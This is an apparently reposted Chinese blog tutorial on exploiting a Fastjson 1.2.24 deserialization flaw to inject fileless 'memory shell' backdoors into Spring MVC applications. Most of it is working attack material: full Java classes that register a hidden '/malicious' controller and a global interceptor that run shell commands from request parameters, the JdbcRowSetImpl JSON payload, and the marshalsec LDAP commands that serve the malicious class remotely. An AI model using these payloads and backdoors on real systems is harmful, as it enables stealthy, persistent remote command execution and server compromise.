狂野!利用Fastjson注入Spring内存马~
阅读本文大概需要 8.5 分钟。
来自:网络。如侵,请联系删除
环境搭建
SpringMVC org.springframework.web.servlet.DispatcherServlet contextConfigLocation classpath:springmvc.xml SpringMVC /
@Controllerpublic class HelloController {@ResponseBody@RequestMapping(value = "/hello", method = RequestMethod.POST)public Object hello(@RequestParam("code")String code) throws Exception {System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase", "true");System.out.println(code);Object object = JSON.parse(code);return code + "->JSON.parseObject()->" + object;}}
com.alibaba fastjson 1.2.24 junit junit 4.11 test org.springframework spring-webmvc 4.3.28.RELEASE
动态注册controller
1)获取上下文
WebApplicationContext context = ContextLoader.getCurrentWebApplicationContext();
WebApplicationContext context = WebApplicationContextUtils.getWebApplicationContext(RequestContextUtils.getWebApplicationContext(((ServletRequestAttributes)RequestContextHolder.currentRequestAttributes()).getRequest()).getServletContext());
WebApplicationContext context = RequestContextUtils.getWebApplicationContext(((ServletRequestAttributes)RequestContextHolder.currentRequestAttributes()).getRequest());
WebApplicationContext context = (WebApplicationContext)RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0);
2)注册controller
// 1. 从当前上下文环境中获得 RequestMappingHandlerMapping 的实例 beanRequestMappingHandlerMapping r = context.getBean(RequestMappingHandlerMapping.class);// 2. 通过反射获得自定义 controller 中唯一的 Method 对象Method method = (Class.forName("me.landgrey.SSOLogin").getDeclaredMethods())[0];// 3. 定义访问 controller 的 URL 地址PatternsRequestCondition url = new PatternsRequestCondition("/hahaha");// 4. 定义允许访问 controller 的 HTTP 方法(GET/POST)RequestMethodsRequestCondition ms = new RequestMethodsRequestCondition();// 5. 在内存中动态注册 controllerRequestMappingInfo info = new RequestMappingInfo(url, ms, null, null, null, null, null);r.registerMapping(info, Class.forName("me.landgrey.SSOLogin").newInstance(), method);
https://landgrey.me/blog/12/
内存马
import org.springframework.web.context.WebApplicationContext;import org.springframework.web.context.request.RequestContextHolder;import org.springframework.web.context.request.ServletRequestAttributes;import org.springframework.web.servlet.handler.AbstractHandlerMethodMapping;import org.springframework.web.servlet.mvc.condition.PatternsRequestCondition;import org.springframework.web.servlet.mvc.condition.RequestMethodsRequestCondition;import org.springframework.web.servlet.mvc.method.RequestMappingInfo;import org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping;import javax.servlet.http.HttpServletRequest;import javax.servlet.http.HttpServletResponse;import java.io.IOException;import java.lang.reflect.Field;import java.lang.reflect.InvocationTargetException;import java.lang.reflect.Method;import java.util.ArrayList;import java.util.Iterator;import java.util.List;import java.util.Map;public class InjectToController {// 第一个构造函数public InjectToController() throws ClassNotFoundException, IllegalAccessException, NoSuchMethodException, NoSuchFieldException, InvocationTargetException {WebApplicationContext context = (WebApplicationContext) RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0);// 1. 从当前上下文环境中获得 RequestMappingHandlerMapping 的实例 beanRequestMappingHandlerMapping mappingHandlerMapping = context.getBean(RequestMappingHandlerMapping.class);// 2. 通过反射获得自定义 controller 中test的 Method 对象Method method2 = InjectToController.class.getMethod("test");// 3. 定义访问 controller 的 URL 地址PatternsRequestCondition url = new PatternsRequestCondition("/malicious");// 4. 定义允许访问 controller 的 HTTP 方法(GET/POST)RequestMethodsRequestCondition ms = new RequestMethodsRequestCondition();// 5. 在内存中动态注册 controllerRequestMappingInfo info = new RequestMappingInfo(url, ms, null, null, null, null, null);// 创建用于处理请求的对象,加入“aaa”参数是为了触发第二个构造函数避免无限循环InjectToController injectToController = new InjectToController("aaa");mappingHandlerMapping.registerMapping(info, injectToController, method2);}// 第二个构造函数public InjectToController(String aaa) {}// controller指定的处理方法public void test() throws IOException{// 获取request和response对象HttpServletRequest request = ((ServletRequestAttributes) (RequestContextHolder.currentRequestAttributes())).getRequest();HttpServletResponse response = ((ServletRequestAttributes) (RequestContextHolder.currentRequestAttributes())).getResponse();// 获取cmd参数并执行命令java.lang.Runtime.getRuntime().exec(request.getParameter("cmd"));}}
修改回显
// 获取request和response对象HttpServletRequest request = ((ServletRequestAttributes) (RequestContextHolder.currentRequestAttributes())).getRequest();HttpServletResponse response = ((ServletRequestAttributes) (RequestContextHolder.currentRequestAttributes())).getResponse();//exectry {String arg0 = request.getParameter("cmd");PrintWriter writer = response.getWriter();if (arg0 != null) {String o = "";java.lang.ProcessBuilder p;if(System.getProperty("os.name").toLowerCase().contains("win")){p = new java.lang.ProcessBuilder(new String[]{"cmd.exe", "/c", arg0});}else{p = new java.lang.ProcessBuilder(new String[]{"/bin/sh", "-c", arg0});}java.util.Scanner c = new java.util.Scanner(p.start().getInputStream()).useDelimiter("\\A");o = c.hasNext() ? c.next(): o;c.close();writer.write(o);writer.flush();writer.close();}else{//当请求没有携带指定的参数(code)时,返回 404 错误response.sendError(404);}}catch (Exception e){}
最终内存马
import org.springframework.web.context.WebApplicationContext;import org.springframework.web.context.request.RequestContextHolder;import org.springframework.web.context.request.ServletRequestAttributes;import org.springframework.web.servlet.mvc.condition.PatternsRequestCondition;import org.springframework.web.servlet.mvc.condition.RequestMethodsRequestCondition;import org.springframework.web.servlet.mvc.method.RequestMappingInfo;import org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping;import javax.servlet.http.HttpServletRequest;import javax.servlet.http.HttpServletResponse;import java.io.IOException;import java.io.PrintWriter;import java.lang.reflect.InvocationTargetException;import java.lang.reflect.Method;public class InjectToController {// 第一个构造函数public InjectToController() throws ClassNotFoundException, IllegalAccessException, NoSuchMethodException, NoSuchFieldException, InvocationTargetException {WebApplicationContext context = (WebApplicationContext) RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0);// 1. 从当前上下文环境中获得 RequestMappingHandlerMapping 的实例 beanRequestMappingHandlerMapping mappingHandlerMapping = context.getBean(RequestMappingHandlerMapping.class);// 2. 通过反射获得自定义 controller 中test的 Method 对象Method method2 = InjectToController.class.getMethod("test");// 3. 定义访问 controller 的 URL 地址PatternsRequestCondition url = new PatternsRequestCondition("/malicious");// 4. 定义允许访问 controller 的 HTTP 方法(GET/POST)RequestMethodsRequestCondition ms = new RequestMethodsRequestCondition();// 5. 在内存中动态注册 controllerRequestMappingInfo info = new RequestMappingInfo(url, ms, null, null, null, null, null);// 创建用于处理请求的对象,加入“aaa”参数是为了触发第二个构造函数避免无限循环InjectToController injectToController = new InjectToController("aaa");mappingHandlerMapping.registerMapping(info, injectToController, method2);}// 第二个构造函数public InjectToController(String aaa) {}// controller指定的处理方法public void test() throws IOException{// 获取request和response对象HttpServletRequest request = ((ServletRequestAttributes) (RequestContextHolder.currentRequestAttributes())).getRequest();HttpServletResponse response = ((ServletRequestAttributes) (RequestContextHolder.currentRequestAttributes())).getResponse();//exectry {String arg0 = request.getParameter("cmd");PrintWriter writer = response.getWriter();if (arg0 != null) {String o = "";java.lang.ProcessBuilder p;if(System.getProperty("os.name").toLowerCase().contains("win")){p = new java.lang.ProcessBuilder(new String[]{"cmd.exe", "/c", arg0});}else{p = new java.lang.ProcessBuilder(new String[]{"/bin/sh", "-c", arg0});}java.util.Scanner c = new java.util.Scanner(p.start().getInputStream()).useDelimiter("\\A");o = c.hasNext() ? c.next(): o;c.close();writer.write(o);writer.flush();writer.close();}else{//当请求没有携带指定的参数(code)时,返回 404 错误response.sendError(404);}}catch (Exception e){}}}
测试
{"b":{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"%s","autoCommit":true}}
python3 -m http.server 8888

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://127.0.0.1:8888/#InjectToController 9999

{"b":{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://127.0.0.1:9999/InjectToControlle","autoCommit":true}}


踩坑
-》javac InjectToController.javaInjectToController.java:16: 错误: 编码GBK的不可映射字符// 绗竴涓瀯閫犲嚱鏁?^InjectToController.java:19: 错误: 编码GBK的不可映射字符// 1. 浠庡綋鍓嶄笂涓嬫枃鐜涓幏寰? RequestMappingHandlerMapping 鐨勫疄渚? bean^InjectToController.java:19: 错误: 编码GBK的不可映射字符// 1. 浠庡綋鍓嶄笂涓嬫枃鐜涓幏寰? RequestMappingHandlerMapping 鐨勫疄渚? bean^



后记
Interceptor内存马
import org.springframework.web.context.WebApplicationContext;import org.springframework.web.context.request.RequestContextHolder;import org.springframework.web.servlet.handler.HandlerInterceptorAdapter;import javax.servlet.http.HttpServletRequest;import javax.servlet.http.HttpServletResponse;public class TestInterceptor extends HandlerInterceptorAdapter {public TestInterceptor() throws NoSuchFieldException, IllegalAccessException, InstantiationException {// 获取contextWebApplicationContext context = (WebApplicationContext) RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0);// 从context中获取AbstractHandlerMapping的实例对象org.springframework.web.servlet.handler.AbstractHandlerMapping abstractHandlerMapping = (org.springframework.web.servlet.handler.AbstractHandlerMapping)context.getBean("org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping");// 反射获取adaptedInterceptors属性java.lang.reflect.Field field = org.springframework.web.servlet.handler.AbstractHandlerMapping.class.getDeclaredField("adaptedInterceptors");field.setAccessible(true);java.util.ArrayList// 避免重复添加for (int i = adaptedInterceptors.size() - 1; i > 0; i--) {if (adaptedInterceptors.get(i) instanceof TestInterceptor) {System.out.println("已经添加过TestInterceptor实例了");return;}}TestInterceptor aaa = new TestInterceptor("aaa"); // 避免进入实例创建的死循环adaptedInterceptors.add(aaa); // 添加全局interceptor}private TestInterceptor(String aaa){}@Overridepublic boolean preHandle(HttpServletRequest request, HttpServletResponse response, Object handler) throws Exception {String code = request.getParameter("code");// 不干扰正常业务逻辑if (code != null) {java.lang.Runtime.getRuntime().exec(code);return true;}else {return true;}}}

参考
推荐阅读:
最近面试BAT,整理一份面试资料《Java面试BATJ通关手册》,覆盖了Java核心技术、JVM、Java并发、SSM、微服务、数据库、数据结构等等。
朕已阅 
评论

